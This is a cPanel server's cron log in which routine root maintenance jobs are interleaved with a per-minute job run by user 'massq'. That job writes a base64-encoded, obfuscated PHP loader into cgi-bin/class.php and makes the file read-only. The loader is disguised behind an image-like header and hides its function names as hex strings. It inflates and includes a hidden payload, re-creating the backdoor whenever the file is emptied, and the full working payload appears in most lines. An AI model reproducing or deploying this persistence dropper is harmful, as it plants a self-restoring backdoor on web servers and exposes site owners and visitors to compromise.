Sep  2 03:22:01 server CROND[31154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:22:01 server CROND[31155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:23:01 server CROND[31544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:23:01 server CROND[31545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:23:01 server CROND[31546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:24:01 server CROND[32033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:24:01 server CROND[32034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:24:01 server CROND[32035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:25:02 server CROND[32433]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 03:25:02 server CROND[32435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:25:02 server CROND[32436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:25:02 server CROND[32439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:25:02 server CROND[32440]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:25:02 server CROND[32437]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 03:25:02 server CROND[32442]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:26:01 server CROND[842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:26:01 server CROND[843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:26:01 server CROND[845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:27:01 server CROND[1307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:27:01 server CROND[1309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:27:01 server CROND[1310]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 03:27:01 server CROND[1313]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  2 03:27:01 server CROND[1311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:28:01 server anacron[20266]: Job `cron.daily' started
Sep  2 03:28:01 server CROND[1693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:28:01 server CROND[1692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:28:01 server CROND[1694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:28:01 server run-parts(/etc/cron.daily)[1691]: starting imunify-antivirus.cron
Sep  2 03:29:01 server CROND[2103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:29:01 server CROND[2104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:29:01 server CROND[2105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:30:01 server CROND[2643]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 03:30:01 server CROND[2646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:30:01 server CROND[2653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:30:01 server CROND[2655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:30:01 server CROND[2659]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 03:30:01 server CROND[2658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:30:01 server CROND[2654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:30:01 server CROND[2656]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 03:31:01 server CROND[3528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:31:01 server CROND[3529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:31:01 server CROND[3530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:32:01 server CROND[3895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:32:01 server CROND[3897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:32:01 server CROND[3899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:33:01 server CROND[4343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:33:01 server CROND[4344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:33:01 server CROND[4345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:34:01 server CROND[4714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
